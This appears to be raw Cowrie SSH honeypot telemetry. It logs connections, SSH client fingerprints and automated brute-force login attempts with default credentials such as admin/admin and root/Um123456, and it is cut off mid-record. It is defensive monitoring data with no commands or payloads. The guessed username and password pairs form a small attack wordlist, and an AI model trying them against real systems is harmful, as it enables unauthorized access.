{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:49.030699Z","src_ip":"87.251.64.176","session":"7beaecf3fe73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:49.320131Z","src_ip":"87.251.64.176","session":"7beaecf3fe73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:49.418817Z","session":"7beaecf3fe73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:49.516450Z","src_ip":"87.251.64.176","session":"7beaecf3fe73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:49.616047Z","src_ip":"87.251.64.176","session":"7beaecf3fe73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51258,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e48a518ee3a","protocol":"ssh","message":"New connection: 159.203.92.129:51258 (159.203.135.109:22) [session: 5e48a518ee3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:12.643783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:12.654003Z","src_ip":"159.203.92.129","session":"5e48a518ee3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:12.658392Z","src_ip":"159.203.92.129","session":"5e48a518ee3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root!","message":"login attempt [administrator/root!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:12.711009Z","src_ip":"159.203.92.129","session":"5e48a518ee3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:13.717789Z","src_ip":"159.203.92.129","session":"5e48a518ee3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":36410,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa740bf1b18","protocol":"ssh","message":"New connection: 185.40.30.168:36410 (159.203.135.109:22) [session: dfa740bf1b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:32.258353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:32.262480Z","src_ip":"185.40.30.168","session":"dfa740bf1b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:32.401425Z","src_ip":"185.40.30.168","session":"dfa740bf1b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"oracle","message":"login attempt [postgres/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:32.957546Z","src_ip":"185.40.30.168","session":"dfa740bf1b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:34.091394Z","src_ip":"185.40.30.168","session":"dfa740bf1b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":55200,"dst_ip":"10.17.0.5","dst_port":22,"session":"02aae9c1d0c5","protocol":"ssh","message":"New connection: 150.95.157.171:55200 (10.17.0.5:22) [session: 02aae9c1d0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:35.403981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:35.422407Z","src_ip":"150.95.157.171","session":"02aae9c1d0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:35.585589Z","src_ip":"150.95.157.171","session":"02aae9c1d0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Admin123456","message":"login attempt [user/Admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:36.265522Z","src_ip":"150.95.157.171","session":"02aae9c1d0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:37.456423Z","src_ip":"150.95.157.171","session":"02aae9c1d0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40372,"dst_ip":"159.203.135.109","dst_port":22,"session":"50b7592eb8b8","protocol":"ssh","message":"New connection: 159.203.92.129:40372 (159.203.135.109:22) [session: 50b7592eb8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:55.220553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:55.225533Z","src_ip":"159.203.92.129","session":"50b7592eb8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:55.230617Z","src_ip":"159.203.92.129","session":"50b7592eb8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root!23","message":"login attempt [administrator/root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:55.245382Z","src_ip":"159.203.92.129","session":"50b7592eb8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:41:56.251508Z","src_ip":"159.203.92.129","session":"50b7592eb8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb680495f57c","protocol":"ssh","message":"New connection: 185.40.30.168:44922 (159.203.135.109:22) [session: fb680495f57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:30.167754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:30.172979Z","src_ip":"185.40.30.168","session":"fb680495f57c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:30.307810Z","src_ip":"185.40.30.168","session":"fb680495f57c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Um123456","message":"login attempt [root/Um123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:30.856742Z","src_ip":"185.40.30.168","session":"fb680495f57c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:31.987762Z","src_ip":"185.40.30.168","session":"fb680495f57c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54752,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cfb72fa9b72","protocol":"ssh","message":"New connection: 159.203.92.129:54752 (159.203.135.109:22) [session: 9cfb72fa9b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:37.773242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:37.778554Z","src_ip":"159.203.92.129","session":"9cfb72fa9b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:37.792306Z","src_ip":"159.203.92.129","session":"9cfb72fa9b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root!@123","message":"login attempt [administrator/root!@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:37.832906Z","src_ip":"159.203.92.129","session":"9cfb72fa9b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:38.839486Z","src_ip":"159.203.92.129","session":"9cfb72fa9b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":44036,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee7ec54c0c9b","protocol":"ssh","message":"New connection: 150.95.157.171:44036 (10.17.0.5:22) [session: ee7ec54c0c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:41.034066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:42:41.038528Z","src_ip":"150.95.157.171","session":"ee7ec54c0c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 